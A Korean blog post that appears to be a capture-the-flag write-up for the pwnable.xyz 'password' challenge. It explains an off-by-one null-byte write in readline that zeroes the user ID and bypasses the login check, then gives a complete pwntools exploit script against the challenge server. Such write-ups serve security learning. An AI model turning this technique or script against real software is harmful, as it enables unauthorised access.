본문 바로가기

pwn/pwnable.xyz

pwnable.xyz / password

mitigation

 

secure login이라고 플래그인 비밀번호를 알아내서 로그인을 해야 한다

4가지 기능이 주어진다

  1. enter password
  2. change password
  3. print password
  4. restore password and logout

 

readline

패스워드를 바꾸거나 ID를 입력할 때 readline을 통해 데이터를 입력받게 되는데

이때 문자열 끝에 널 바이트를 넣어준다 ( \n을 제거 )

 

로그인을 했는지는 bss 영역에 있는 cred가 1인 경우로 이때 change password기능을 사용할 수 있다

 

print password

ID가 0인 경우 root로 print password 기능을 통해  패스워드를 디코딩한 뒤 출력할 수 있다

 

 

input ID

그럼 처음에 널 바이트를 넣어서 패스워드를 읽어내면 끝 아닌가 싶은데 널 바이트를 넣는 경우 프로그램을 종료한다

 

 

readline에 널 바이트를 넣게 되면 입력한 주소의 -1에 0을 넣는데

처음에 ID를 입력할 때 1 문자만 넣게 되면 플래그 문자열의 첫 바이트를 널로 만들 수 있다

이후에 login 할 때 널 바이트를 넣어서 cred = 1이 되어 로그인을 한 뒤 

change password도 똑같이 널 바이트를 넣어서 -1에 있는 ID가 0이 되도록 한 뒤 패스워드를 다시 갱신한 뒤 출력해줬다

 

from pwn import *
context.log_level = "debug"

p = remote("svc.pwnable.xyz", 30026)
#p = process("./password")

def login(data):
    p.recvuntil(b"> ")
    p.sendline(b"1")
    p.recvuntil(b"Password: ")
    p.send(data)

def enter_pass(data):
    p.recvuntil(b"> ")
    p.sendline(b"2")
    p.recvuntil(b"New password: ")
    p.send(data)

def print_pass():
    p.recvuntil(b"> ")
    p.sendline(b"3")

def restore_pass():
    p.recvuntil(b"> ")
    p.sendline(b"4")


p.recvuntil(b"User ID: ")
p.sendline(b"1")

payload = b"\x00"
login(payload)
enter_pass(payload)

restore_pass()
print_pass()

p.interactive()

'pwn > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / executioner v2  (0) 2022.05.23
pwnable.xyz / badayum  (0) 2022.05.23
pwnable.xyz / executioner  (0) 2022.05.22
pwnable.xyz / Punch it  (0) 2022.05.22
pwnable.xyz / catalog  (0) 2022.05.21